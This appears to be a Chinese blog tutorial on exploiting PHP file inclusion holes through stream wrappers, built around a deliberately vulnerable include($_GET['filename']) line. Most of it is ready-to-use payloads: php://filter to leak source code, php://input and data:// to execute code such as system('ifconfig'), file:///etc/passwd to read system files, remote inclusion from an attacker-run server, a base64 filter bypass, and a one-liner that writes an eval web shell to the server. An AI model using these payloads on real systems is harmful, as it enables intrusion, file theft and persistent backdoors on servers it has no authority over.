zoukankan      html  css  js  c++  java
  • php协议流

    文件包含漏洞结合php协议流的特性,使得漏洞利用效率更高,下面的内容主要讲解协议流的使用。

    0x00 测试环境:

    php版本: 5.2,5.3,5.5,7.0等
    web服务: apache2
    OS系统: linux

    0x01 测试代码:

    <?php include($_GET['filename']);?>

    0x02 测试配置:

    配置文件: php.ini

    配置选项:

        allow_url_fopen: on        #default: on, This option enables the URL-aware fopen wrappers that enable accessing URL object like files
        allow_url_include : off    #default: off, This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once. 

    allow_url_fopen 表示允许在URL形式执行fopen打开文件

    allow_url_include 表示允许远程包含

    0x03 开始测试:

    1. php://filter 编码流

    实验配置条件: 无

    测试代码中,通过GET请求控制 include 函数需要包含哪些文件,如果是普通的txt文件,指定该文件就可以显示文件内容,如

    filename=hello.txt

     但如果是php文件,那么文件内容只会看到被php解析器解析后的结果,并不能获取源代码,如包含自己

    filename=index.php

    若我们想看到php的源代码,就要避免php文件内容被解析,通过php编码流可以实现base64编码,编码后解析器就无法识别了,如下

    filename=php://filter/read=convert.base64-encode/resource=./index.php

    此时,将其base64解码就可以看到php代码了

    2. php://input 输入流

    实验配置条件: 开allow_url_include

    除了在URL里filename参数中指定文件作为输入流外,还可以直接从POST请求中作为输入流

    php://input 表示内容从请求参数中获取。如下

    filename=php://input
    
    [post data]
    
    <?php phpinfo();?>

    这样我们就可以执行php代码了,比如一句话,或者执行system函数等等

    3. file:// 文件流

    实验配置条件:

    这个可以读取服务器非web目录文件,当然需要有权限读取,不过不需要配置条件。使用时要写绝对路径

    filename=file:///etc/passwd

    4. compress.X:// 压缩流, 有两个compress.zlib  和 compress.bzlib

    实验配置条件:

    这个可以针对压缩文件查看和获取内容,假如我们知道压缩包在服务器的路径为: /var/test.tgz,则可以利用该流查看压缩文件

    filename=compress.zlib:///var/test.tgz

    5. http:// 远程文件流, 也可以远程包含文件

    实验配置条件: 开url_allow_include

    这里远程包含自己服务器下的一个文本文件,利用的话,可以在自己的服务器上搭建web或ftp,然后写一句话木马,远程包含

    filename=http://192.168.12.136/test/hello.txt

     

    6. data:// 数据流, 可以直接执行php代码

    实验配置条件: 开url_allow_include

    这个data流可以直接传入代码被解析执行,有点类似 php://input输入流

    filename=data: text/plain,<pre><?php system('ifconfig')?></pre>

    如果被狗过滤,可以编码发送代码,先将 <?php phpinfo()?>这段进行base64编码得到

    PD9waHAgcGhwaW5mbygpPz4=

    接着利用data流,发送编码数据,并且解码解析

    filename=data: text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

    通过data可以写一句话木马到服务器下

    filename=data:text/plain,<?php fputs(fopen("shell.php","w"), "<?php @eval($_POST['x']);?>")?>

     

    协议流还有很多,远远不止这样,当然上面讲解的都是渗透中常用的手段

     

  • 相关阅读:
    struts2: 通过流输出实现exce导出
    Spring Security笔记:Remember Me(下次自动登录)
    Spring Security笔记:登录尝试次数限制
    Spring Security笔记:使用BCrypt算法加密存储登录密码
    Spring Security笔记:使用数据库进行用户认证(form login using database)
    Spring Security笔记:HTTP Basic 认证
    Spring Security笔记:自定义登录页
    Spring Security笔记:Hello World
    Spring官网下载dist.zip的几种方法
    UML:类图复习-鸡生蛋,蛋生鸡
  • 原文地址:https://www.cnblogs.com/demonxian3/p/9803409.html
Copyright © 2011-2022 走看看